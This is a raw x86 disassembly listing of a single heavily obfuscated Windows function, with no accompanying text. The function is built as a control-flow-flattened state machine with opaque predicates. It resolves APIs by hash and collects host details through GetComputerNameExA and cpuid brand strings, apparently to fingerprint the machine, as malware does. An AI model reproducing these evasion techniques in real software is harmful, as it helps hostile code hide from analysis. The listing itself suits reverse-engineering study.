add ecx, 0x4915
mov dword [esi + 8], ecx
mov eax, 0x1936181b
cmp ecx, 0x69
jb 0x43ea33
mov eax, 0x472cf7c2
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x5c]
mov word [eax + 0x14], 0
push 0x14
push 0x46ff50
push dword [esi + 0x5c]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0xbdd9fdec
jmp 0x43ac1c
mov eax, dword [esi + 0x12c]
mov byte [eax], 0
mov eax, dword [esi + 0x6c]
movzx ecx, word [0x47c486]
mov word [eax], cx
mov dword [esi + 4], 0x840a5579
jmp 0x43ac1c
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add eax, 0x18
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0x15d9955a
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x158000
add edi, 0xac00
mov dword [esi + 8], edi
push edi
push 0x208f
push 0x4337
push 0x4644
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xb10facfd
cmp edi, 0xfb
jl 0x43eadf
mov eax, 0x60edd945
mov dword [esi + 4], eax
jmp 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xbddb934c
jmp 0x43ac1c
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0x3d4662e1
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x17de0
add edi, 0x195be
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xe532cf3d
cmp edi, 0xbe
jae 0x43eb5c
mov eax, 0x51f80afc
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 7
lea ecx, [eax + 0xaa]
imul ecx, ecx
imul edx, ecx, 0xf3
dec edx
add eax, 0x173
mov dword [esi + 0xc], eax
mov eax, 0x5e20d2cc
cmp edx, ecx
je 0x43eb90
mov eax, 0x38d6897c
mov dword [esi + 4], eax
jmp 0x43ac1c
push dword [esi + 0x94]
push 0x2f9959e0
call fcn.004433f4
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0xf0]
call eax
push 1
push edi
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xf4], eax
push edi
push dword [esi + 0xf0]
push dword [esi + 0xf4]
call fcn.0045afef
add esp, 0xc
mov dword [esi + 4], 0xc0a7ca6d
jmp 0x43ac1c
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x29a52922
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 0x13
imul eax, eax
imul edx, eax, 0x5545
dec edx
shr ecx, 0x14
and ecx, 0xffffffe0
mov dword [esi + 0xc], ecx
mov ecx, 0x5ead8a11
cmp eax, edx
je 0x43ec26
mov ecx, 0xa3760a82
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 6
add eax, 0x35d0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x1fa40e09
jmp 0x43ac1c
imul eax, dword [esi + 8], 0x5c80
shr eax, 8
add eax, 0x24
mov dword [esi + 8], eax
push eax
push 0x580b
push 0x5eb3
push 0x5433
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xafec42fd
jmp 0x43ac1c
mov dword [esi + 4], 0xe8fcf2a1
jmp 0x43ac1c
mov eax, dword [esi + 0x134]
lea ecx, [esi + 0x108]
push ecx
push dword [esi + 0xe4]
call eax
mov dword [esi + 4], 0x742e0221
jmp 0x43ac1c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x34], eax
mov dword [esi + 4], 0xe544d742
jmp 0x43ac1c
mov dword [esi + 4], 0xd2959f27
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 4
and eax, 0xffffffc0
imul eax, eax, 0x2756
add eax, 0x4a1c36e
mov dword [esi + 8], eax
mov dword [esi + 4], 0x4b79651c
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x3e00
mov dword [esi + 8], edi
push 0x50fd
push 0x3c68
push edi
call fcn.00428473
add esp, 0xc
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xcbc2eb54
test edi, edi
je 0x43ed21
mov eax, 0x87946877
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x14c]
mov word [eax], 0xa
mov dword [esi + 4], 0x4dece08a
jmp 0x43ac1c
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x194], eax
mov eax, dword [esi + 0x14]
add eax, 0x10
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0x85bf4554
jmp 0x43ac1c
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0xa188b9d6
jmp 0x43ac1c
mov eax, dword [esi + 0x154]
mov word [eax], 0xa
mov dword [esi + 4], 0xc2fe1158
jmp 0x43ac1c
push dword [esi + 0xf8]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0xaa5d8f45
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x5f68000
add edi, 0x19cb0000
mov dword [esi + 8], edi
push 0x653
push 0x3359
push 0x3a1c
push edi
call fcn.0043f790
add esp, 0x10
push edi
call fcn.0043ac04
add esp, 4
mov dword [esi + 4], 0xd2959f27
jmp 0x43ac1c
mov eax, dword [esi + 0x84]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0x84]
mov cl, byte [0x47c4c0]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47c4bc]
mov dword [eax + 8], ecx
mov ecx, dword [0x47c4b8]
mov dword [eax + 4], ecx
mov ecx, dword [0x47c4b4]
mov dword [eax], ecx
push 6
push 0x47c4c1
push 0xd
push dword [esi + 0x84]
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xc8d4dac3
jmp 0x43ac1c
mov edi, dword [esi + 8]
add edi, 0xffffffee
shr edi, 0xc
add edi, 0xffffffa7
mov eax, edi
shr eax, 0x16
mov dword [esi + 8], eax
push 0x187f
push 0xb96
push eax
push 0x2462
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xc5e72542
cmp edi, 0xc000000
jae 0x43eeb6
mov eax, 0x34436423
mov dword [esi + 4], eax
jmp 0x43ac1c
imul edi, dword [esi + 8], 0xd6
mov eax, edi
shr eax, 2
add eax, 0x2a
mov dword [esi + 8], eax
push 0x1a6f
push 0x2c05
push 0x14d3
push eax
call fcn.0043f790
add esp, 0x10
mov eax, 0x573dd94c
cmp edi, 0x334
jb 0x43eefa
mov eax, 0xac54653c
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 0xb
add eax, 0x5d
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2157
dec edx
mov eax, 0x4d980ff5
cmp edx, ecx
je 0x43ef28
mov eax, 0x3f185db8
mov dword [esi + 4], eax
jmp 0x43ac1c
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0xcc429f6a
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0x921000
add eax, 0x8b9b404b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xcb2d4c25
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x192000
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
push 0x36f
push 0x3da7
push 0x261
push edi
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xb296c61
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0x71
add eax, 0x3416
shr eax, 0xb
imul ecx, eax, 0x78
imul eax, eax
imul edx, eax, 0x6315
add ecx, 0xffffa0da
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x231b4d6
cmp eax, edx
je 0x43eff1
mov ecx, 0x6fa8cbcf
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0xeb
add eax, 0xffffff81
imul eax, eax
imul edx, eax, 0x672b
imul ecx, ecx, 0x3ac00
add ecx, 0xfffa2800
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x15d9955a
cmp eax, edx
je 0x43f02c
mov ecx, 0x6023b85b
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 0xc
imul eax, eax, 0xa9
add eax, 0x33fd
mov dword [esi + 8], eax
mov dword [esi + 4], 0x56641982
jmp 0x43ac1c
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0x9e79e561
jmp 0x43ac1c
mov eax, dword [esi + 0xcc]
add eax, 0xc
mov dword [esi + 0x1a8], eax
mov dword [esi + 4], 0x8a26991
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x1ac
mov dword [esi + 8], edi
push edi
push 0x3c3e
push 0xac3
push 0x34af
call fcn.0043f8d0
add esp, 0x10
call fcn.00406fee
mov eax, 0x127d2e53
cmp edi, 0x2e
jge 0x43f0bd
mov eax, 0x932a4f66
mov dword [esi + 4], eax
jmp 0x43ac1c
mov dword [esi + 4], 0xd7a671c
jmp 0x43ac1c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x5c], eax
mov dword [esi + 4], 0xd339d5fe
jmp 0x43ac1c
mov ecx, dword [esi + 8]
shl ecx, 6
add ecx, 0xffffb4c0
mov dword [esi + 8], ecx
mov eax, 0x876f42a3
cmp ecx, 0x16
jge 0x43f10c
mov eax, 0xe5ad6a97
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x15c]
mov byte [eax], 0
mov dword [esi + 4], 0xc99362eb
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x48b4
add edi, 0xae
mov dword [esi + 8], edi
push 0x3eca
push edi
push 0x5aa
push 0x43d1
call fcn.0043f8d0
add esp, 0x10
mov eax, 0x4c75140d
cmp edi, 0x10
jae 0x43f160
mov eax, 0x1f096957
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x54]
mov dword [eax], 0xa424d
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0x359e8812
jmp 0x43ac1c
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x30]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x34]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x8c]
add eax, 0x17
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x181b1a3b
jmp 0x43ac1c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x124]
mov dword [esi + 0x128], eax
mov dword [esi + 4], 0x8a146f18
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0xd00000
add eax, 0xbef00000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x59d26614
jmp 0x43ac1c
mov dword [esi + 4], 0xd0460e08
jmp 0x43ac1c
mov ecx, dword [esi + 8]
mov eax, 0xffffff31
add ecx, eax
mov eax, ecx
shr eax, 2
mov dword [esi + 8], eax
mov eax, 0x2fbbcc4a
cmp ecx, 0x294
jae 0x43f22c
mov eax, 0x8ca2d796
mov dword [esi + 4], eax
jmp 0x43ac1c
imul ecx, dword [esi + 0xc], 0x76f9
mov eax, ecx
imul eax, ecx
add ecx, 0x53
imul edx, eax, 0x513
shr ecx, 6
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xd11548bf
cmp edx, eax
je 0x43f25e
mov ecx, 0xa2f2666c
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov eax, dword [esi + 0xd0]
mov word [eax + 0x18], 0
push 0x18
push 0x470010
push dword [esi + 0xd0]
call fcn.00448eb0
add esp, 0xc
push 5
push str._n
push 0xc
push dword [esi + 0xd0]
call fcn.0043f790
add esp, 0x10
push dword [esi + 0xd0]
push 0x5f086d32
call fcn.004433f4
add esp, 8
push dword [esi + 0x24]
call eax
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shld eax, ecx, 0x16
mov dword [esi + 0x1b0], eax
push 1
push 0xa
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0xde61a78c
jmp 0x43ac1c
imul eax, dword [esi + 8], 0xdc
add eax, 0xffffffb7
shr eax, 0xf
add eax, 0xee
mov dword [esi + 8], eax
call fcn.00406fee
mov dword [esi + 4], 0x6023b85b
jmp 0x43ac1c
mov eax, dword [esi + 8]
and eax, 0xfffffffc
shl eax, 0x17
imul eax, eax, 0xf4
add eax, 0xfd428027
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9e9f1ead
jmp 0x43ac1c
mov dword [esi + 4], 0x16690ac7
jmp 0x43ac1c
imul eax, dword [esi + 8], 0x75
shr eax, 6
lea edi, [eax*8 - 0x140]
mov ebx, edi
shr ebx, 7
mov dword [esi + 8], ebx
call fcn.00406fee
push 0x2c8c
push 0x3380
push ebx
push 0x50b9
call fcn.0043f790
add esp, 0x10
mov eax, 0x9e4279cd
cmp edi, 0x7500
jae 0x43f380
mov eax, 0x4a3c51f5
mov dword [esi + 4], eax
jmp 0x43ac1c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
add eax, 0xc
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0x3fa03bfc
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x8ae000
add edi, 0x9e5a8000
mov dword [esi + 8], edi
push 0x4261
push edi
push 0x57bc
push 0x2f9
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xbdd9fdec
cmp edi, 0xdf
jl 0x43f3e9
mov eax, 0x9e9f1ead
mov dword [esi + 4], eax
jmp 0x43ac1c
imul eax, dword [esi + 8], 0xa400
shr eax, 3
imul edi, eax, 0xe8000
add edi, 0xffffff44
mov dword [esi + 8], edi
push 0x3fe
push 0x38b3
push edi
call fcn.00428473
add esp, 0xc
push 0x2bcd
push edi
push 0x594c
push 0x5967
call fcn.0043f790
add esp, 0x10
mov dword [esi + 4], 0x1347eb9c
jmp 0x43ac1c
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x174]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
add eax, 4
mov dword [esi + 0x184], eax
mov dword [esi + 4], 0x60edd945
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0xe00
shr eax, 0xa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa140a1ab
jmp 0x43ac1c
mov dword [esi + 4], 0xbf3ab78d
jmp 0x43ac1c
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi + 4], 0x9e9f1ead
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
mov eax, 0x86
add ecx, eax
imul eax, ecx, 0xcd
imul ecx, ecx
lea edx, [ecx + ecx*8]
lea edx, [ecx + edx*4]
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x9d967b79
cmp edx, ecx
je 0x43f4cc
mov eax, 0x4b79651c
mov dword [esi + 4], eax
jmp 0x43ac1c
xor ebx, ebx
inc ebx
push ebx
mov edi, 0x20
push edi
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xdc], eax
push ebx
push edi
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xe0], eax
mov dword [esi + 4], 0x79dcd6a1
jmp 0x43ac1c
mov eax, dword [esi + 0x94]
mov word [eax + 0x18], 0
push 0x18
push 0x46ffe0
push dword [esi + 0x94]
call fcn.00448eb0
add esp, 0xc
push 6
push 0x46fff8
push 0xc
push dword [esi + 0x94]
call fcn.0043f790
add esp, 0x10
mov dword [esi + 4], 0xf5a6595a
jmp 0x43ac1c
push 5
push 0x47c517
push 0x17
push dword [esi + 0x8c]
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0x88d85f77
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 2
and eax, 0xfffffff0
add eax, 0xfffffba0
mov edi, 0x2d53bf60
and eax, 0xfffffc00
mov dword [esi + 8], eax
je 0x43f591
mov edi, 0xcb2d4c25
push 0x488b
push 0x433c
push eax
push 0x9af
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], edi
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x35ec000
shr edi, 3
add edi, 0x35800
mov dword [esi + 8], edi
push 0x7fc
push 0x12c9
push edi
call fcn.00428473
add esp, 0xc
push edi
call fcn.0043ac04
add esp, 4
mov dword [esi + 4], 0x45469859
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 7
add edi, 0xffffff91
mov dword [esi + 8], edi
push 0x49c5
push 0x2d9a
push 0x3ed2
push edi
call fcn.0043f8d0
add esp, 0x10
mov eax, 0x5da9f2f
cmp edi, 0x26
jge 0x43f61f
mov eax, 0x5870b9f8
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x150]
mov byte [eax], 0
mov dword [esi + 4], 0xd90fc93a
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0x88aa
add eax, 0x4f1c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc2e940b7
jmp 0x43ac1c
mov dword [esi + 4], 0xc5e72542
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
add eax, 0x74
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x71f1
dec edx
shr eax, 9
mov dword [esi + 0xc], eax
mov eax, 0xc5f299bf
cmp edx, ecx
je 0x43f689
mov eax, 0x446e549
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xac], eax
mov dword [esi + 0xb0], ebx
mov dword [esi + 0xb4], ecx
mov dword [esi + 0xb8], edx
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xac]
mov dword [esi + 0x188], eax
mov dword [esi + 4], 0x95cdd8ea
jmp 0x43ac1c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x148]
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0xc5fa051d
jmp 0x43ac1c
push 6
push 0x46ff64
push 0xa
push dword [esi + 0x5c]
call fcn.0043f790
add esp, 0x10
push dword [esi + 0x5c]
push 0x3d95e230
call fcn.004433f4
add esp, 8
push 0
call eax
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0xe2605302
jmp 0x43ac1c
mov dword [esi + 0x18], 0x100
lea eax, [esi + 0x18]
push eax
lea eax, [esi + 0x2e8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x6bbfb69a
jmp 0x43ac1c
mov dword [esi + 4], 0xf8e559fe
jmp 0x43ac1c
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x4c]
mov dword [esi + 4], 0x6403a008
jmp 0x43ac1c
cmp eax, 0x8e35aca4
jne 0x43ac1c
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret